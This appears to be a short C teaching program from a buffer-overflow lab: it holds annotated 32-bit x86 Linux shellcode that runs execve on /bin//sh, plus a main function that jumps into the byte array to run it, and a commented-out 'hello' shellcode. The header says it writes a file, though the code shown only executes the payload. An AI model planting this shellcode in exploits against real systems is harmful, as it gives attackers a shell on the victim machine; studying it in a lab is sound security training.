/*
A program that creates a file containing code for launching shell
*/

#include <stdlib.h>
#include <stdio.h>

//const char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
          "\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f"; // Say Hello

const char code[] = \
"\x31\xc0"          /* Line 1:  xorl   %eax,%eax    */   \
"\x50"              /* Line 2:  pushl  %eax         */   \
"\x68""//sh"        /* Line 3:  pushl  $0x68732f2f  */   \
"\x68""/bin"        /* Line 4:  pushl  $0x6e69622f  */   \
"\x89\xe3"          /* Line 5:  movl   %esp,%ebx    */   \
"\x50"              /* Line 6:  pushl  %eax         */   \
"\x53"              /* Line 7:  pushl  %ebx         */   \
"\x89\xe1"          /* Line 8:  movl   %esp,%ecx    */   \
"\x99"              /* Line 9:  cdql                */   \
"\xb0\x0b"          /* Line 10: movb   $0x0b,%al    */   \
"\xcd\x80"          /* Line 11: int    $0x80        */   \
;

int main(int argc, char ** argv)
{
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();

    return 0;
}